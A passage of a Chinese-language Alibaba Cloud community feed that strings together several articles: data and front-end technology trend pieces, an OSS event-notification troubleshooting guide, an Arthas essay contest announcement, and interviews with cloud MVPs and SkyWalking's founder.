                  移动端、共享、嵌入集成越来越普遍:随着ERP、OA、MES、HIS等常见业务系统的完善,企业少则数十套IT系统,多则上千套系统,新型自助BI需要能够与多个系统同时融合,全面分析企业的业务数据。大数据BI平台不同用户创建的分析页面,可以方便地分享给其他成员。同时,在企业的分析用户设计仪表板时,可以复用仪表板中的图表、维度、指标等,支持用户分享指定页面进行给其他部门成员,便于互动沟通交流。为满足企业人员实时办公、互通信息的需要。大数据BI平台还需要支持移动端上共享和查看分析结果,支持在移动端对分析结果进行数据层级钻取穿透、联动等。

                  数据服务

                  数据服务领域会在四个领域有显著变化:联邦学习促流通,AutoML提效能,高性能在线数据访问,数据云服务化。

                  联邦学习促流通:数据一直是制约智能服务发展的关键因素,随着联邦学习的兴起,这一问题将会得到有效改善;在保证数据安全的前提下,让数据变为可普惠的能源,无论平行模式还是垂直模式,都有利于数据在不同企业、不同媒介中传播,发挥数据差异性的效果提升。

                  AutoML提效能:数据智能将会逐步走向大众化,AutoML将逐步进步,以达到普通的监督学习任务能够通过可用的方式或尚未完全完善的方法,自信地进行算法选择和超参数优化,AutoML将不再被视为机器学习工具箱的替代品,而是作为其中包含的另一种工具。

                  高性能在线数据访问: 高性能在线分析诉求十分强烈,查询近似和数据近似技术发展将至关重要。

                  数据云服务化:kubernetes 有大一统趋势,无论机器学习还是数据应用开发,云原生都是未来,数据服务Cloud Native 后,使得数据工程师聚焦在数据分析领域,植入关键数据逻辑,无需关注服务逻辑DevOps,同时机器学习训练部署预测都可以Cloud Native 化,促进资源高效利用及平台无关性,无论AutoML和还是传统数据服务都将彻底云化。

                  数据安全

                  数据安全领域会在四个领域有显著变化:监管合规依然是促进企业数据安全及个人隐私数据保护发展的最大驱动力;以数据为中心的数据安全体系将逐渐被认可;短期不会有一个技术系统可以解决所有的数据安全问题;数据安全的新技术、新模式不断涌现,数据安全产业边界呈现不断拓展和融合的态势。

                  监管合规依然是促进企业数据安全及个人隐私数据保护发展的最大驱动力:专门的立法及行业标准也会陆续发布,但数据开放利用与数据安全成为“一个硬币的两面”,也是各国政策法律的焦点和难点。

                  以数据为中心的数据安全体系将逐渐被认可:未来数据安全将成为企业的核心竞争力之一而不是成本,即能者多劳,数据安全做的好,可以获得更多的业务机会。

                  短期不会有一个技术系统可以解决所有的数据安全问题,而是基于不同的场景下使用不同的技术来解决不同的安全问题:比如sgx和安全多方计算可以解决多方互不相信的数据融合的问题,端上的边缘计算可以解决采集合规的风险,差分隐私可以解决部分个人隐私数据泄露的问题,基于智能算法可以解决数据流通过程中的风险识别和控制问题等。

                  数据安全产业将迎来重大机遇:数字经济时代的发展,强烈依赖以大数据为生产资料的挖掘和应用,在此过程中需要解决数据孤岛问题,增加数据资源的商业价值和社会价值。

                  数据权属关系将更为复杂:数据保护需求全面爆发,数据安全的新技术、新模式不断涌现,数据安全产业边界呈现不断拓展和融合的态势。

                  ]]>
                  MVP一周精选 20200509:那些技术人的挣扎与求索 Fri, 02 May 2025 09:39:04 +0800 一周精选头图.jpg

                  周五,又到了分享MVP精彩内容的时刻。本周为您带来玄姐的系列架构公开课第二讲,关于微服务架构下服务、数据、分布式事务的设计实践。还有曾经的电脑神童,如今“不务正业”唐云峰的技术“邪路”。这一期,程永分享了自己关于数据中台的方法论,郭旭东的云原生工具箱再次更新,而胡鑫也带来了他创业路的至暗时刻。快来发现干货和故事吧!

                  阿里云MVP(阿里云最有价值专家),是专注于帮助他人充分了解和使用阿里云的技术实践领袖。在这里,您可以跟随各行各业技术达人快速Get到行业热点和前沿技术的发展现状。点击了解更多

                  MVP说

                  唐云峰:想当科学家的怪极客

                  他是第一代站长,初中起就以网站牟利,一单赚几十万。研究影视剧、物理学、金石、篆刻、堪舆、中医……来看看这个“不务正业”技术人做的“好事”。

                  程永:数据中台的一些基本概念和方法论

                  疫情期间,为了响应教育部“停课不停学、停课不停教、停课不停研”的号召,程永给多所高校进行了线上直播分享,其中一个主题就是关于数据中台的一些基本概念和构建数据中台过程中需要用到哪些方法论。本文为您揭晓。

                  郭旭东:告别手写,一键生成 Helm Chart README

                  helm-docs 可以根据 charts 内容自动生成 markdown 文件,为云原生应用的开发者化解了挑战,来看看具体操作。

                  胡鑫:至暗时刻,风“云”突变(三)

                  危机突来,他们怎样应对?从2015年到2019年,业务DAU从0到100万,团队从5人到70人,胡鑫讲述自己的创业之路,解读如何从技术推动业务,分享作为CTO的心路历程,一同感受创业的五味杂陈。

                  MVP时间

                  孙玄:如何构建普适的企业级微服务架构

                  本期玄姐直播,为大家带来关于微服务架构下服务、数据和分布式事务的设计实践。

                  孙玄:职场人生,技术人员如何快速成长为顶级架构师(下)

                  奈学教育CEO孙玄为大家带来技术人员如何快速成长为顶级架构师的介绍。内容包括职业成长路线,职业成长核心要素,职业成长典型案例剖析,以及提升认知和格局的重要性。一些典型案例剖析,或许正是你的困扰。

                  即刻关注“阿里云 MVP技术圈”,和MVP共同探索属于每个领域独一无二的道路,我们在阿里云开发者社区等您!

                  往期精彩回顾:
                  MVP一周精选 20200430: 关于职场与人生,他们这样玩!
                  MVP一周精选 20200424:解读新基建,领略数据魅力
                  MVP一周精选 20200417:快速成为顶级架构师的内功修炼

                  ]]>
                  聆听访谈实录与背后故事 Fri, 02 May 2025 09:39:04 +0800 缘起

                  四月初的一天早上,突然接到一通来自杭州的电话。原来是阿里云聆听的同学,说是因为我在聆听上提了不少好的建议和意见,其中相当一部分被阿里云研发团队采纳了。现在,聆听团队正在筹备【阿里云年度红黑榜颁奖典礼】,需要一些来自客户的声音,希望能做个简短的访谈。我刚好有时间,就答应了。

                  访谈实录

                  确实是非常简短的访谈,就3个问题:

                  1.请您做一个简短的自我介绍

                  我是XXX,目前在XXXX公司负责运维自动化、基础架构、DEVOPS等工作。我也是阿里云MVP。

                  2.请问您给阿里云提出的建议实现后,对您的业务有什么样的效果?

                  我使用阿里云有6、7年了,给阿里云提了不少建议,其中相当一部分被阿里云采纳并实现了。这些建议实现后,大大方便了我们的工作,工作效率大幅提升。

                  比如,之前负载均衡服务是不能按照VPC网络里的ECS私服IP进行搜索的,在有数千台ECS、数百个SLB的情况下,当有SLB或者ECS要进行维护操作的时候,排查处理SLB就是一件非常耗费时间和精力的事情,排查一次耗费1个小时都算是效率高了,而且经常会出现遗漏出错的情况。我跟阿里云提建议后,阿里云很快就实现了,现在同样的情况,同样的事情,耗费5分钟就完全可以很方便的搞定,而且不会出错,效率提升几十倍。

                  再比如,我们使用阿里云容器服务kubernetes托管集群的时候会挂载OSS,挂载OSS需要accesskey。当有核心人员变动或者出现AK泄漏甚至安全制度本身就要求定期更换AK的情况下,ACK是不允许直接更新AK的。如果需要更新,那么就需要所有引用OSS的服务停止然后删除挂载卷,然后再重新启动,也就是所有服务要停止再重新部署。为了避免服务停止,我们当前使用新AK挂载新存储卷,然后所有服务使用新存储卷重新部署的方式。这个方案虽然可以避免停服,但是依然需要重新部署大量服务,也就意味着大量服务的变更,意味着大量的协调工作、变更操作和风险。这个方案对我们来说,实施一次少则数周,多则数月,工程量浩大。我也跟阿里云提了建议,目前已被采纳。这个建议若实现,那么耗费数周甚至数月的浩大工程,将在数分钟甚至数秒内轻而易举地完成,效率可提升几万倍。当然,我个人评估,这个技术难度应该不小,需要阿里云ACK和OSS的同事们一起协作努力。加油!

                  3.请问您比较关注阿里云哪几款产品?您对这些产品有什么样的要求或期待。

                  对于阿里云,我主要关注能快速给公司技术团队赋能的产品和技术趋势。

                  比如企业级分布式应用服务 EDAS,可以借助阿里微服务框架HSF快速构建应用,同时无需自行撘建ZooKeeper、Eureka等微服务依赖,还内置了灰度发布、流量控制、环境隔离等企业级高级特性,可以让公司技术水平以较小成本快速得到提升从而支持业务的快速迭代和高速发展;

                  再比如Serverless应用引擎SAE,以应用的服务调用与分布式配置推送为视角,提供逻辑隔离的运行环境,可以基于命名空间在不同的环境间进行配置的隔离和同步,支持应用生命周期管理,支持一键启停开发测试环境,支持分批、灰度等多种发布策略,提供面向应用的实时监控等,可以帮助我们迅速搭建和部署应用环境,获得应用可视化能力,快速聚焦问题,发现系统瓶颈,大幅提升诊断问题的效率。

                  类似的产品和服务还有应用高可用服务ahas,提供架构感知、流量防护和故障演练能力;微服务引擎MSE,提供免运维的高可用ZooKeeper、Nacos和Eureka集群,几乎无需修改业务代码,开箱即用,可大大降低企业的基础架构运维要求和成本,使企业聚焦于业务实现,另外还有云效等。

                  阿里云这两年努力地把阿里体系内久经考验并大规模应用的技术产品进行重新孵化、开放,以PaaS平台提供给所有客户使用,成绩斐然。

                  希望后续能提供更多地相关产品的迁移升级工具、最佳实践分享和培训,帮助更多企业快速构建具有企业级高级特性的基础架构,快速低成本地获取大规模、高可用、高弹性的技术支撑能力,支持业务的高速发展和快速变化。

                  背后故事

                  说起聆听,还真挺特别的。我知道聆听,是阿里云服务支持同学告诉我的。作为阿里云至尊服务客户,我们在使用阿里云产品遇到问题时绝大多数时候都是把问题往群里一扔,根据问题的难易程度,就会有客服同学、技术支持同学、研发同学在群里帮忙解答和支持。遇到比较难搞的问题,也会有产品、架构师、各种工程师等来公司现场帮忙解决。但解决问题可以,想让阿里云改进产品这招就不管用了。在知道聆听前,我也会给阿里云各个职位的同学提建议,大家态度也都非常友好,并表示会尽快改进,然后大多数时候就没有然后了。

                  有一次,我又把我的建议扔群里了。这一次,有个客服支持同学跟我说,请去聆听提建议。然后,我就踏上了聆听之路。聆听的功能要说有什么特别的,好像也没有,简单来说就是产品建议和缺陷的收集反馈。

                  聆听的特别之处在于:

                  1.所有的都是公开的,不管是建议意见还是处理流程。这让聆听在长期积累之后,不单是收集反馈,还变成了搜索问题答案的平台,因为你想提的问题可能之前已经有人提过,而且阿里云的同学也已经作答了。
                  2.很明显,提到聆听平台的建议不仅长期存在不会丢失,而且有同学在一直跟进。虽然,离“件件有着落,事事有回音”还差那么一点(貌似有个别的建议到了评估阶段就没回音了),但是作为提建议的人,能得到关注和反馈,本身就是一种尊重和肯定。(想起给其他平台又打电话又写邮件反馈的意见,都石沉大海。)
                  3.阿里云年度红黑榜。我是这次才知道阿里云内部有这么一个东西。据说这个东西是根据阿里云各个产品对客户意见和建议的重视和改进程度评出来的。虽然,我不知道对阿里云产品改进的作用有多大,但看得出来,阿里云对客户意见的重视程度。

                  最后

                  在这个时代,几乎所有单位都表示自己非常重视客户的建议和意见,但客户表达通道通畅的没几个,敢把意见和建议都晒出来的,更没几个。聆听,作为阿里云的意见收集产品,有温度可亲近,加油!

                  ]]>
                  2020 有哪些不容错过的前端技术趋势? Fri, 02 May 2025 09:39:04 +0800 5.9头图.png

                  导读:2019 年的大前端热闹非凡,Serverless,Flutter,Vue3.0,桌面应用开发,小程序,WebAssembly 的火爆发展还是超乎我们预期,2020 的大前端又有哪些不容错过的技术趋势呢?

                  四位技术人不四、杜欢、海波和堂主对 2020 年前端发展趋势进行了展望,同时也阐述 2020 年前端从业者可能将要面临的挑战。

                  • 不四  蚂蚁金服高级前端技术专家,语雀产品技术负责人
                  • 杜欢 阿里云战略 & 合作部 高级前端技术专家、阿里巴巴经济体前端 Serverless 研发升级项目负责人
                  • 海波  网易云音乐前端负责人
                  • 堂主  政采云前端负责人

                  Q1:在 2019 年大前端领域,您印象最深刻或者最重要的一件事情是什么?

                  不四:随着大前端领域开始进入深水区,越来越多的资源开始往两端倾斜,Low Code 领域解决大量营销活动和中后台的业务场景, Pro Code 领域则通过基建赋能来提升开发者的研发效能,支持更复杂的研发场景。

                  杜欢:2019 年,云厂商和整个前端开发者社区都在积极推动 Serverless 概念的落地,云 + 端的研发模式雏形初显,大前端的未来充满更多可能。

                  海波:运营工具体系作为前端容易切入的业务赋能场景,近两年在各个大小厂如雨后春笋般涌现,诸如页面搭建工具以及图片、音视频等素材的合成制作工具等等,其中也有不乏结合视觉、音视频算法以及推荐算法的智能化场景案例。相信 2020 年运营工具在限定场景下的智能化拓展应该会成为一个大家发力的重要赛道,因为传统的拖拖拽拽的生产方式在提效上的天花板是存在的。

                  堂主:过去一年最深的感受,在于随着业务及终端的多元化,前端也正式进入了深水区,在解决业务问题的同时,更加关注研发效能。在工程技术收益向平台业务收益转变的过程中,前端正在向传统职能范畴的上下游进行拓展和打通,从研发工程化到智能 AI+ 的自动化探索,研发工程链路上的 Low Code 对业务赋能降本的惊人价值;Serverless 理念的认知与实践,前端研发能力的愈加下沉和带来的应用单兵能力,能看到行业在由 Web 前端开发向 Web 应用开发快速前进的趋势。

                  Q2:2019 年,最超乎您预期的一个前端技术趋势是什么?

                  不四:我自己的工作重心其实在 Pro Code 和全栈研发领域,但是 19 年过去之后回头来看,Low Code 领域的发展迅速超出我的预期。从最早的通过模块化搭建解决营销活动领域的问题,发展到现在可以通过 Low Code 来解决内部复杂的中后台业务需求,随着智能化和前端的结合、Low Code 和 Pro Code 的结合,尽管还是在探索阶段,但是从趋势来看这可能是给前端提效的一个大方向。

                  杜欢:前端 Serverless 研发模式在阿里巴巴双十一落地还是让我感觉非常震撼的,虽然还只是迈出的第一步,但这一步的象征意义非常巨大且显性。通过阿里经济体前端 Serverless 研发模式升级实践可以看出未来应用开发的几个特征:

                  • 业务开发者不再关心很细节的机器资源申请、运维;
                  • 数据源将得到进一步的融合,业务层可以自由编排使用;
                  • 前端可以完成整个应用的交付;
                  • 流量高峰前后,不用主动规划资源;通过这些研发态的变化,业务可以更低成本更高效的试错。

                  海波:应该是小程序吧。除了AT(阿里和腾讯)小程序继续收割流量,日活再创新高,2B (百度和字节) 小程序也开始展露头角,甚至 360 还提出了桌面端小程序概念,在边缘场景也想分到一杯羹。「小程序跨端」这个技术议题开始变成刚需,比如 taro 等技术方案变得越来越有市场,技术方案从跨 Web 和 RN 等,演变到需要跨小程序 ABCDEFG… 。不得不说,在为这些小程序疲于奔命的时候,作为普通开发者,我们对于 Web 标准本身的关注正在减弱。不过从纯技术视角看,小程序对于跨端体验优化还是有参考价值的,比如离线包、独立历史栈的多页保活 Webview 以及一些关键视图的混合渲染,切实解决了纯 Web 的体验痛点。另外,W3C 也首次发布了小程序标准化白皮书的内容,偏门变正道也存在可能性。

                  堂主:2019 年最超出我预期的实际上有两个,其一是 Low Code 能力的发展对人效的提升,由单端到现在的多端;由早期的偏营销展示的轻业务场景到现在的中后台复杂业务场景,乃至业务模型、链路和事件的可支持;由 UI 模块的人肉编码研发到智能化的 UI2Code 生成经过实践。其二是 Serverless 理念的广泛布道和部分厂的垂直化尝试,就像前面问题回答的,前端的能力在下沉,正回归到 Web 工程师的路上,这不论是对业务还是前端自身都是利好。

                  Q3:2020 年的大前端领域,您认为最值得关注的技术趋势是什么?

                  不四:随着前端框架和其他基础设施的进一步完善,前端工程师可能更多的需要将关注点放在如何利用这些基础设施来更好的解决业务问题上来。在 Low Code 领域如何让 Low Code 的产物与 Pro Code 结合以解决更复杂的业务,在 Pro Code 领域如何使用云服务、Serverless 等技术为基础,进入更广阔的全栈研发世界,都是值得关注和投入的。

                  杜欢:从前端行业价值角度上看,我目前还是会认为可以优先关注云端 Serverless 研发模式升级这件事情。随着云底层能力的不断丰富,云厂商平台逐渐提供了越来越强的免架构及免运维能力,使得整个社会开始逐渐具备将经历聚焦到业务思考本身,这会影响到雇主对整个研发体系建设的选择。当雇主有机会让更多研发人员只专注业务逻辑开发时,普遍具备专业的设备端交互逻辑开发且能通过 NodeJS 等语言实现后端业务逻辑开发的大前端行业,将会得到更大的机会,这会是对整个行业带来深远影响的方向,值得大家关注。

                  海波:Serverless 吧。我们内部虽然也在尝试积极实践 Node BFF ,但如果抛开拓展职能边界这个对内价值,而从最终提效来说,效果可能并不明显, Node 更多的会用在一些非核心链路(比如运营工具、监控平台等)或中后台业务以及相对较成熟的 SSR 等。并且在面对大流量的 C 端场景,也会一些稳定性隐患,大厂可能可以有充足的投入去保障,中小厂就相对没那么幸运了,只能选择在一些小场景反复磨炼。而 Serverless 作为一种科学的开发理念和新的协作分工模式,有可能将一个模块或功能(甚至应用)的 ”端+服务“的开发复杂度缩小到单位人力可承载,贴合前端广且薄的职能特点,从而解决人员基础的问题。

                  堂主:我认为是 Serverless,基于 Serverless 的研发体系变革和能力进化的普适性和影响深度会超出一些同学的预期。Serverless 对底层资源和运维工作的封装,让前端能更专注于交互逻辑、业务逻辑和数据而非环境本身,在 UI 即函数 + Faas 的事件驱动,Node 能力结合容器及微服务的架构,前端比以往更容易以全栈的姿态贴近业务、服务业务。未来结合 AI 智能生成的加持,Web IDE 对本地环境的抹平和业务开发与平台能力的打通,前端的变革会更加深远。

                  Q4:您认为对于前端从业者来说,2020 年可能面临的最大挑战是什么?

                  不四:正所谓能力越大,责任越大。随着前端能使用的“武器”变的更强大,前端要解决的问题也更复杂。然而不论前端如何发展,最终还是要回归到“解决问题”这个本质上。能否利用这些新的“武器”来找到新的业务场景,或者让之前的场景明显提效,可能是接下来大前端开发者需要思考的。

                  杜欢:上面我更多的在提云端 Serverless 研发模式升级这件事情,实际上除此之外,前端还有很多其他不错的方向,比如智能化、低代码化等等,其中有一些会是帮助前端进一步解放的工具,有一些是帮助前端进一步扩大价值的方法,但是这两者,都对前端提了一个相同的要求:要做一个精通业务的开发者,如果还是像原来那样简单的“切页面”,那可能未来第一批被淘汰的就是这些人。而要成为一个精通业务的开发者,又将会是一个全新的话题,除了技术之外,我们要链接更多,思考更多!

                  海波:2020 年的挑战我觉得和 2019 年并不会有实质差别,务虚一点说:「如何在业务中探索前端的技术价值体现」,这点我觉得在所有业务前端团队可能都是长久的挑战。

                  堂主:2020 年前端研发体系的升级不会这么快,诸如 Serverless 也还处于理念到最佳实践的探索阶段。最大的挑战,我认为是在新思想和各方实践的推动下,优势大厂平台和一般小厂之间行业技术从业者的认知代差会进一步扩大,后续几年,初中级从业者的行业红利会逐渐消失。这里还是要强调下,技术的价值在于解决业务问题,不同阶段的业务所需的技术配套是不同的。拥抱业务,不要狭隘的从前端角度看业务,从业务角度去看研发看前端,聚焦各自的业务问题,由场景出发找方案能带来更好的成长。

                  Serverlesss 技术公开课上线

                  “Serverless” 随着云原生概念的普及,近年来非常火爆。似乎人人都热衷于探讨它出现的意义,但对于 Serverless 具体产品形态如何?怎样在生产中落地使用?在落地过程中有哪些深坑却讨论甚少。这一次,我们集结 10+ 位阿里巴巴 Serverless 领域技术专家,打造最适合开发者入门的 Serverless 公开课,让你即学即用,轻松拥抱云计算的新范式——Serverless。

                  点击即可免费观看课程:https://developer.aliyun.com/learning/roadmap/serverless

                  阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的公众号。”

                  ]]>
                  OSS 入门基础篇-OSS 事件通知 Fri, 02 May 2025 09:39:04 +0800

                  作者:张医博


                  功能描述:


                  您可以在创建事件通知规则的时候,自定义您关注的Object信息,当这些资源发生变化后,您可以第一时间收到通知。例如:



                  • 有新数据从图片内容分享平台、音视频平台上传到OSS。
                  • OSS上的相关内容发生了更新。
                  • OSS上的重要文件被删除。
                  • OSS上数据同步已经完成。

                  image


                  开通须知


                  1、通知方式分为 HTTP 通知和队列通知。



                  • HTTP 是用户填入一个服务器的 URL地址,OSS 在监测到客户操作完成后,去 POST URL 地址回调用户;
                  • 队列的方式需要用户开通阿里云的 MNS 服务,配置好队列后在 OSS 控制台填入队列名称,OSS 通过 MNS 回调用户;

                  image


                  2、系统会自动为新建的规则创建主题,主题实例可能产生费用,详见 消息服务价格。


                  3、删除规则后,主题不会自动删除,可以登录 消息服务控制台 进行删除。


                  4、规则配置分为两种,根据资源描述分为:全名、前后缀。很多用户在这里遇到了坑,需要注意。



                  • 全名:用户上传的文件必须和规则配置的绝对一致才会触发,比如全名是 bucket/image/1.png ,那用户上传也要是 image/1.png ,如果上传的是 image/2.png 就不会通知;
                  • 前后缀:用户上传的文件前缀或者后缀满足条件即可触发。比如前缀为 bucket/202003- ,这种规则可以匹配到 202003-01202003-02....,如果配置的后缀为 bucket/202003-/jpg ,可以匹配到 202003-01/1.jpg202003-02/2.jpg

                  常见问题分析


                  场景一:控制台上配置事件通知报错,configurationcountlimitexception


                  出现这种问题异常后说明默认的,mns 产品的事件通知已经达到上限(默认是 10),如果想要提升数量请提交工单联系 mns 支持人员提升,非 OSS 故障。


                  image


                  场景二:ossutil 上传文件成功,但是客户配置的 mns 队列没有收到通知


                  可能导致问题原因如下:



                  • 用户上传失败 ,有可能被劫持虽然反馈了状态码,但是没有返回 x-oss-requestid 标识,建议用户把判断成功标准改为 httpcode ==200 ,并且 requestID != null;
                  • mns 产品可能出现消息堆积,需要提交工单确认;
                  • 用户配置的 oss 事件类型不全,比如 OSS 控制台用的是 PostObject ,ossutil 上传大文件使用的分片传输。如果规则没配置全就不会触发;
                  • 用户上传文件的 prefix 和事件通知配置的不符,或者用户使用的是全名匹配但上传用的是前后缀;
                  • 用户配置的是前后缀规则,但是前缀并不是单独创建的 object,而且上传文件时和 object 一起创建的,比如,用户如过是通过这种方式 创建的 imageprefix/1.png,那 imageprefix 不在是一个独立的前缀,而是和 imageprefix/1.png 绑定在一起;

                  ]]>
                  Arthas 征文活动第一期中奖名单揭晓! Fri, 02 May 2025 09:39:04 +0800 900-383.png

                  为了让更多开发者开始用上 Arthas 这个Java 诊断神器,3 月 26 日,我们联合 JetBrains 推出第一期 Arthas 有奖征文活动,聊聊这些年你和 Arthas 之间的那些事儿。第一期征文活动于 3 月 26 日—— 4 月 26 日举办,后续征文活动将持续至 2020 年 12 月。

                  一石激起千层浪,在第一期活动期间我们得到了众多开发者的积极响应,闻讯赶来投稿的同学络绎不绝,截止到 4 月 26 日,第一期征文活动已结束,经过层层挑选与评估,以下为第一期征文活动的获奖情况:

                  获奖海报.jpg

                  • 最受欢迎 Top3:将在 Arthas Most Valuable User 福袋的基础上另送出天猫精灵一台。
                  • 优秀参与奖:凡提交满足第一期投稿要求文章的同学,将获得 Arthas Most Valuable User 福袋一份,包含淘公仔、Arthas 贴纸、阿里云 T 恤、JetBrains 周边礼包(礼品随机);

                  注:所有礼品将于开奖后 7 个工作日内发出,请耐心等待!

                  推荐使用 Arthas

                  Cloud Toolkit 是阿里云发布的免费本地 IDE 插件,帮助开发者更高效地开发、测试、诊断并部署应用。通过插件,可以将本地应用一键部署到任意服务器,甚至云端(ECS、EDAS、ACK、ACR 和 小程序云等);并且还内置了 Arthas 诊断、Dubbo工具、Terminal 终端、文件上传、函数计算 和 MySQL 执行器等工具。不仅仅有 IntelliJ IDEA 主流版本,还有 Eclipse、Pycharm、Maven 等其他版本。

                  第二期征文活动开启

                  第二期征文活动将于 5 月 8 日 - 6 月 8 日举办,参与即有奖,欢迎大家继续踊跃投稿!

                  3 步提交征文

                  1.直接使用 Arthas 或通过 Cloud Tookit 体验 Arthas;
                  2.将你的体验整理成文章发布在掘金社区
                  3.按要求填写表单:http://alibabacloud.mikecrm.com/9khcRrs

                  投稿文章要求

                  • 字数 1000 字以上,文章层次结构及行文逻辑清晰;
                  • 文章必须是原创;
                  • 禁止发布广告类内容信息;
                  • 禁止发布涉政、暴恐、违禁等敏感内容。

                  你将获得的礼物

                  • 凡提交满足投稿要求文章的同学,将获得 Arthas Most Valuable User 福袋一份(礼品随机),包含淘公仔、Arthas 贴纸、阿里云 T 恤、JetBrains 周边礼包;
                  • 第二期最受欢迎的 top3 文章,获得天猫精灵一台;
                  • 年度 top 20 文章,将有机会获得 cherry 键盘及 JetBrains 提供的包括 Coupon 等周边礼包 。

                  你将获得的荣誉

                  除了实物奖励之外,你还会获得:

                  • 在阿里巴巴云原生公众号和 Arthas 技术社区的首页,展示您的文章及作者介绍模块,让更多的开发者了解你;
                  • 成为 Arthas 社区的贡献者,参与社区的日常运营,并作为社区讲师参与 Arthas 线上/线下活动分享。

                  内容建议

                  • 使用 Arthas 排查过的问题:可以将你使用 Arthas 排查的问题整理成一篇文章,分享你在排查问题中的得到的经验与思考,为更多的开发者提供一份“避坑指南”;
                  • 对 Arthas 进行源码解读:你可以找几个最感兴趣的功能点切入,从源码来分析设计与实现原理,然后整理成稿投稿给我们,基于对 Arthas 的源码解读来和众多开发者们“隔空对话”,来一场思想上的碰撞;
                  • 对 Arthas 提出建议:如果你希望能够更多地参与到 Arthas 社区中来,可以提出你对 Arthas 的建议或者说出你对 Arthas 未来的期待并将其整理成文;
                  • 不限,其它与 Arthas 有关的内容:例如,你是如何接触到 Arthas 的?你会选择把 Arthas 推荐给更多的开发者吗?或者只是简单记录一次 Arthas 的使用实践等等均可。

                  阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的公众号。”

                  ]]>
                  明日直播预告:阿里云智能中间件首席架构师为大家带来直播分享 Fri, 02 May 2025 09:39:04 +0800 互联网架构下的微服务体系已经成为数字化转型的主流架构,云原生技术让这一架构进一步发展,不仅提升了系统的稳定性和降低了编程复杂性外,还让应用从云带来的分布式复杂性中彻底解脱出来,快速构建健壮、极具弹性、易观察的云原生应用。

                  5月12日(周二)14:00,阿里云智能中间件首席架构师李小平为大家带来分享:

                  1、云原生的微服务架构有哪些主要的技术变化?

                  2、现有服务架构又如何演进到云原生微服务架构?

                  钉钉扫描二维码,加入直播群内免费看直播!

                  屏幕快照 2020-05-11 下午3.58.35.png

                  ]]>
                  浪迹天涯的骨灰级开源爱好者——对话阿里云 MVP吴晟 Fri, 02 May 2025 09:39:04 +0800 以下为吴晟的个人专访,推荐阅读(约4分钟)。

                  不妨做个自得其乐的俗人

                  SkyWalking 给我带来最大的收获是成就感和知名度。我想每一个项目的深度参与者都会有不同的收获,不但可以磨练自己的技术,也会对代码和产品更加执着,苛求细节、强调逻辑,业务能力方面也会有较大的提升。首先自己的社交圈扩大并提高,国内外技术圈、媒体、其他领域专家等都有机会接触到。其次,沟通能力甚至英语能力也会有长进,彻底从技术宅,变成一个擅长沟通、演讲(亦或忽悠)的产品经理兼售前兼自动化测试兼写手。在各方面都得到训练后,最终变得愈发自信和优秀。

                  开源的成就,也给了我实现爱好的经济基础。我是一个生活比较随性的人,喜欢车喜欢表,喜欢公路自驾。2012年至今,护照上已经记录下美国、新加坡、韩国、意大利、法国、瑞士、乌克兰、泰国、印度等等。自驾自然离不开车,买车也是我的一大乐趣,这10年来,从最入门的高尔夫开始,我陆陆续续买了6台车,现在有一台GLE 450 Coupe和X3。车和程序很相似——给定输入,一定会有标准输出。也是圆我自己大学没有选择车辆工程,而是软件工程的一个情结吧。目前的小目标是911 Turbo S和GLE AMG 63S。

                  除了满足我对技术的诉求,开源的全球会议也促成了各地旅游的好机会。对我来说,一个月内出现在4个不同场合,做不同受众的演讲是家常便饭;一星期需要出现在两个洲三个国家的Keynote上的生活也习以为常。不能说这种生活很轻松,我也时长在半夜写着文档,在10个小时的国际航班上构思会议内容,但这是符合我自己预期的方式。可以在会议的间隙,走遍欧洲城市的大街小巷,感受异国风情。在自己和家人的护照上盖满各国的入境章,是很有意思的事情。大家以同样的速度度过时间,而我们拥有更多记忆。

                  技术地位的确可以改变收入,哈哈,原谅我是个俗人。不过更重要的还是收获了志同道合的团队和技术宅们,也有了更好的公司和团队支持自己,这种财富是不可替代的。

                  吴晟.jpg

                  初识架构,崭露头角

                  我正式的工作和架构历程开始于研究生在读期间,在当时的微软MSC和微软MVP指导下,学习和编写一家保险公司的核心系统架构,包括整套的MVC、ORM框架、分布式通讯架构、以及自动化测试和性能测试等。2007-2009两年的实习工作,为我对整套分布式系统的理解奠定了良好的基础,也深深体会到了分布式对于系统的助力和挑战。

                  毕业之后,我先后在大唐软件和亚信中国,参与电信运行上的系统建设,期间一直在架构团队工作。在2011年,我参与到中国联通首个全国集中系统的建设中——一个8厂商合作的巨型SOA架构的分布式系统。首次引入分布式服务(以Web Service为技术代表,当时还没有微服务的概念)和SOA的系统架构,想要解决多厂商多应用间的问题定位、效率短板分析出现定位难的问题。这个项目为我之后设计ShardingSphere项目原型,和创立SkyWalking项目积累了重要的经验。

                  2014年,我以培训为目的开始建立SkyWalking项目,并先后在OneAPM及现在的北美Service Mesh公司tetrate.io,从不同的角度带领SkyWalking项目和社区。在大家的努力下,SkyWalking得以从Apache孵化器顺利毕业,成为顶级项目,并走向全球。

                  平步青云,共建开源生态

                  我与开源的结缘说来已久。在2014年,国内的开源市场可谓一片空白,顶级项目绝大多数来自国外,国内除了几个大厂背书的项目,很少有人涉足开源。项目从起步到发展,完全是摸着石头过河,全靠我们自己一步步的探索。从SkyWalking到CNCF基金会的OpenTracing项目,再到大名鼎鼎的Zipkin社区,最后深深根植于Apache基金会。没有任何前车之鉴,全靠大家齐心协力和多名社区老手的鼎力相助,他们开放和共享的工作态度与方式,给了我很深的印象。比如Google Dapper论文第一作者--Benjamin H. Sigelman ,Zipkin社区Leader--Adrian Cole,还有Apache Mentor,Mick Semb Wever和姜宁,以及其他无数国外的社区朋友。他们让我将一个中国的个人项目带进Apache孵化器,并帮助我学习建设社区的思路、方法,使其得以成功毕业并成为顶级项目。

                  孵化器是Apache为了新项目能够顺利创建而专门设立的工程,主要职责包括:过滤关于创建新项目或子项目的意向书;帮助创建项目及其所需的基础设施;监督和指导孵化的社区,从而实现开放的优秀文化氛围;评估孵化项目的成熟度,或者将其提升为官方项目/子项目的状态,反之若结论是失败的,则通过退役来解决。但孵化器不会根据技术问题执行过滤,因为基金会尊重和建议各种技术方法,甚至会允许在功能上重叠的项目之间进行内部的相互竞争。

                  而我本人也用了2年成为Apache基金会成员,现在兼任项目VP、孵化器PMC成员,从统计学来讲算是很快的速度,一般需要4-5年甚至更久时间的投入。在Apache基金会,一般会根据在整个基金会内的贡献(代码和非代码),得到认可后内部member提名、推举、和最终投票。每年只有全员大会一次机会认证。在其他基金会根据基金会性质会有所差异。

